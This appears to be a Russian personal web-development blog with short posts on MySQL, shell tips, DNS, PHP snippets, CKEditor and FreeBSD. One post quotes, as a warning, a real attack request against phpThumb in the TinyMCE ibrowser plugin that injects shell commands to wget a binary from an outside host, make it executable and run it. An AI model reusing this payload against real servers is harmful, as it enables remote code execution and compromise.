Статьи

Импорт данных с .sql файла

Иногда через обычные средства (phpmyadmin, etc) бывают недоступны или действуют ограничения. Только приходит на помощь консоль.

mysql -h <host_name> <db_name> -u <username> -p < <file_name>.sql

пароль вводится в интерактивном режиме

Логирование sql запросов

Нашел интересный способ логировать все запросы в файл. Бывает очень полезно, при поиске узких мест в приложении

set global log_output = 'FILE';
 
set global general_log = 'ON';
 
set global general_log_file = '/var/log/mysql/queries.log';

Argument list too long

Часто приходится сталкиваться с надписью в консоли:

Argument list too long

Данная проблема возникает из за большого кол-ва файлов в папке (больше 1024). Не знаю, с чем это связано, но решение нашлось в гугле)

find . | xargs rm

Выполнять только в папка, где нужно очистить! 

Нашел решение тут: http://www.tsybulnik.ru/nix/rm-argument-list-too-long.html

Правильная структура ЧПУ (URL)

Данная статья не притендует на мануал для новичков или единственно правильный путь постоения урлов в Вашем вем приложении. Данная заметка, только мое субъективное мнение о том, как должны выглядеть урлы. Постараюсь, по подробней рассмотреть популярные CMS и их способы постороения ЧПУ.

На заре зарождения интернета, когда еще не думали о красивых урлах и урл вида index.php?id=1 был давольно распространен. 

Во время написания это заметки, наткнулся на оф мануал зенда http://framework.zend.com/manual/ru/zend.controller.router.html Продолжение ....

Апп тиц

Сегодня (16.02.12) на нескольких сайтах подрос тыц +10, 20 также на новом сайте allfreelancers.su

всех с аппом!

Google Public DNS

На скорость доступа к сайтам зависит не только хостинг сайтов, а еще DNS сервера провайдера. Так как некоторые днс сервера бывают недоступны, то лучше использовать днс сервера гугла. Для ip4:

8.8.8.8
8.8.4.4

У кого уже есть IPv6

2001:4860:4860::8888
2001:4860:4860::8844

Чтобы использовать днс сервера гугла достаточно их прописать в настройках сетевого интерфейса и радоваться жизни)

Проверка на главную страницу в шаблоне page.tpl.php

Если надо показать что-то только на главной странице, то можно использовать это:

<?php if ($is_front): ?>
<p>This will only appear on the front page.</p>
<?php endif; ?>

Перенаправление на мобильную версию сайта

Простой, код на php

if(preg_match('/android.+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iem  obile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|symbian|treo|up\.(browser|link  )|vodafone|wap|windows (ce|phone)|xda|xiino/i',$_SERVER['HTTP_USER_AGENT'])||preg_match('/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar  (ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|b  umb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a  |jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|e\-|e\/|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(di|rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|d  o|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran  |owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(4  0|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98  )|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|xda(\-|2|g)|yas\-|your|zeto|zte\-/i',substr($_SERVER['HTTP_USER_AGENT'],0,4))){ 
        if($_SERVER['SERVER_NAME'] == 'mail.ru'){ 
            header('Location: http://m.mail.ru'); 
            die(); 
        } 
} 

Основные mimetype файлов

Может быть полезным, но нет под рукой. Список основных расширений файлов:

array("ez" => "application/andrew-inset", 
         "hqx" => "application/mac-binhex40", 
         "cpt" => "application/mac-compactpro", 
         "doc" => "application/msword", 
         "bin" => "application/octet-stream", 
         "dms" => "application/octet-stream", 
         "lha" => "application/octet-stream", 
         "lzh" => "application/octet-stream", 
         "exe" => "application/octet-stream", 
         "class" => "application/octet-stream", 
         "so" => "application/octet-stream", 
         "dll" => "application/octet-stream", 
         "oda" => "application/oda", 
         "pdf" => "application/pdf", 
         "ai" => "application/postscript", 
         "eps" => "application/postscript", 
         "ps" => "application/postscript", 
         "smi" => "application/smil", 
         "smil" => "application/smil", 
         "wbxml" => "application/vnd.wap.wbxml", 
         "wmlc" => "application/vnd.wap.wmlc", 
         "wmlsc" => "application/vnd.wap.wmlscriptc", 
         "bcpio" => "application/x-bcpio", 
         "vcd" => "application/x-cdlink", 
         "pgn" => "application/x-chess-pgn", 
         "cpio" => "application/x-cpio", 
         "csh" => "application/x-csh", 
         "dcr" => "application/x-director", 
         "dir" => "application/x-director", 
         "dxr" => "application/x-director", 
         "dvi" => "application/x-dvi", 
         "spl" => "application/x-futuresplash", 
         "gtar" => "application/x-gtar", 
         "hdf" => "application/x-hdf", 
         "js" => "application/x-javascript", 
         "skp" => "application/x-koan", 
         "skd" => "application/x-koan", 
         "skt" => "application/x-koan", 
         "skm" => "application/x-koan", 
         "latex" => "application/x-latex", 
         "nc" => "application/x-netcdf", 
         "cdf" => "application/x-netcdf", 
         "sh" => "application/x-sh", 
         "shar" => "application/x-shar", 
         "swf" => "application/x-shockwave-flash", 
         "sit" => "application/x-stuffit", 
         "sv4cpio" => "application/x-sv4cpio", 
         "sv4crc" => "application/x-sv4crc", 
         "tar" => "application/x-tar", 
         "tcl" => "application/x-tcl", 
         "tex" => "application/x-tex", 
         "texinfo" => "application/x-texinfo", 
         "texi" => "application/x-texinfo", 
         "t" => "application/x-troff", 
         "tr" => "application/x-troff", 
         "roff" => "application/x-troff", 
         "man" => "application/x-troff-man", 
         "me" => "application/x-troff-me", 
         "ms" => "application/x-troff-ms", 
         "ustar" => "application/x-ustar", 
         "src" => "application/x-wais-source", 
         "xhtml" => "application/xhtml+xml", 
         "xht" => "application/xhtml+xml", 
         "zip" => "application/zip", 
         "au" => "audio/basic", 
         "snd" => "audio/basic", 
         "mid" => "audio/midi", 
         "midi" => "audio/midi", 
         "kar" => "audio/midi", 
         "mpga" => "audio/mpeg", 
         "mp2" => "audio/mpeg", 
         "mp3" => "audio/mpeg", 
         "aif" => "audio/x-aiff", 
         "aiff" => "audio/x-aiff", 
         "aifc" => "audio/x-aiff", 
         "m3u" => "audio/x!--?---mpegurl", 
         "ram" => "audio/x-pn-realaudio", 
         "rm" => "audio/x-pn-realaudio", 
         "rpm" => "audio/x-pn-realaudio-plugin", 
         "ra" => "audio/x-realaudio", 
         "wav" => "audio/x-wav", 
         "pdb" => "chemical/x-pdb", 
         "xyz" => "chemical/x-xyz", 
         "bmp" => "image/bmp", 
         "gif" => "image/gif", 
         "ief" => "image/ief", 
         "jpeg" => "image/jpeg", 
         "jpg" => "image/jpeg", 
         "jpe" => "image/jpeg", 
         "png" => "image/png", 
         "tiff" => "image/tiff", 
         "tif" => "image/tif", 
         "djvu" => "image/vnd.djvu", 
         "djv" => "image/vnd.djvu", 
         "wbmp" => "image/vnd.wap.wbmp", 
         "ras" => "image/x-cmu-raster", 
         "pnm" => "image/x-portable-anymap", 
         "pbm" => "image/x-portable-bitmap", 
         "pgm" => "image/x-portable-graymap", 
         "ppm" => "image/x-portable-pixmap", 
         "rgb" => "image/x-rgb", 
         "xbm" => "image/x-xbitmap", 
         "xpm" => "image/x-xpixmap", 
         "xwd" => "image/x-windowdump", 
         "igs" => "model/iges", 
         "iges" => "model/iges", 
         "msh" => "model/mesh", 
         "mesh" => "model/mesh", 
         "silo" => "model/mesh", 
         "wrl" => "model/vrml", 
         "vrml" => "model/vrml", 
         "css" => "text/css", 
         "html" => "text/html", 
         "htm" => "text/html", 
         "asc" => "text/plain", 
         "txt" => "text/plain", 
         "rtx" => "text/richtext", 
         "rtf" => "text/rtf", 
         "sgml" => "text/sgml", 
         "sgm" => "text/sgml", 
         "tsv" => "text/tab-seperated-values", 
         "wml" => "text/vnd.wap.wml", 
         "wmls" => "text/vnd.wap.wmlscript", 
         "etx" => "text/x-setext", 
         "xml" => "text/xml", 
         "xsl" => "text/xml", 
         "mpeg" => "video/mpeg", 
         "mpg" => "video/mpeg", 
         "mpe" => "video/mpeg", 
         "qt" => "video/quicktime", 
         "mov" => "video/quicktime", 
         "mxu" => "video/vnd.mpegurl", 
         "avi" => "video/x-msvideo", 
         "movie" => "video/x-sgi-movie", 
         "ice" => "x-conference-xcooltalk" 
      );

Уязвимость в tinymce и ibrowser

Недавно, на почту свалился вот такой вот отчет:

/tinymce/jscripts/tiny_mce/plugins/ibrowser/scripts/phpThumb/phpThumb.php?src=file.jpg&fltr[]=blur|9%20-quality%20%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20ls%20-l%20/tmp;wget%20-O%20/tmp/barbut6%20bingoooo.co.uk/barbut6;chmod%200755%20/tmp/barbut6;/tmp/barbut6;ps%20-aux;%20&phpThumbDebug=9

Хорошо, что у меня этого плагина (ibrowser) нет. Так что будьте бдительны.

C наступающим новым годом!

Поздравляю всех с наступающим новым годом! Желаю в новом году, всего наилучшего, счасть, радости и удачи. Всем тица и прА :)))

Сервис проверки загрузки сайта

Одним из главных критериев посещаемости сайта является, его доступность. Скорость загрузки, количество графиги и т.д.Сегодня хочу поделиться ссылкой на сервис, который показывает все этапы загруки сайта. Начиная от html, графиги и т.д. заканчивая яваскриптом. Ссылка http://loads.in/

Сайт для фрилансеров

Доброго времени суток. Я уже давно работаю фрилансером и использую пару сайтов, где нахожу проекты, такие как free-lance.ru и weblancer и т.п., но с недавних пор правила пользования, ответов на проекты, поменялись. И теперь можно отвечать только 3 раза в месяц или покупать платный аккаунт. Покупка акка и его поддержание будет стоить средств, что в конечном счете скажется на бюджете проектов.

В связи с этим я решил, написать свой портал, где мои знакомые могли бы публиковать и искать работу. На сайте будут только необходимые функции. По мере загруженности буду писать необходимый функционал. По всем вопросам можно обращаться через форму обратной связи или на емеил admin@allfreelancers.su

 

Добро пожаловать на портал фриланса для всех

Встраиваем в CKeditor плагин syntaxhighlight

Решил попробовать этот редактор и сразу же столкнулся с проблемой подсветки кода. В CKeditor его по умолчанию нет, но зато можно встроить syntaxhighlight. Что мы попробуем сделать. 

Итак, начнем с того что скачаем это плагин с сайта разработчика. Далее открываем скачанный архив и копируем папочку syntaxhighlight в папку нашего редактора - ckeditor/plugins.

config.extraPlugins = 'syntaxhighlight';
config.toolbar_Full.push(['Code']);

После этого появляется кнопка на панели:

После того как Вы проделали эту операцию, идем в CKeditor и наблюдаем новую иконку (она будет последней) с надписью code. При клике на нее выпадает окошко с выбором языка и дополнительными опциями:

Скачать русификатор можно здесь. Кидаем этот файлик в папку ckeditor/lang и меняем в ckeditor/plugins/syntaxhighlight/plugin.js значение en на ru.

На этом вся установка завершена.

Downgrade PHP 5.3 to PHP 5.2 и Zend Optimizer на FreeBSD

Недавно, понадобилось установить Zend Optimizer на FreeBSD c PHP 5.3 и основная проблема в том, что  Zend Optimizer для php 5.2 называется Zend Guard и FreeBSD не поддерживается. Пришлось даунгрейдить PHP c 5.3 до 5.2, что было успешно произведено.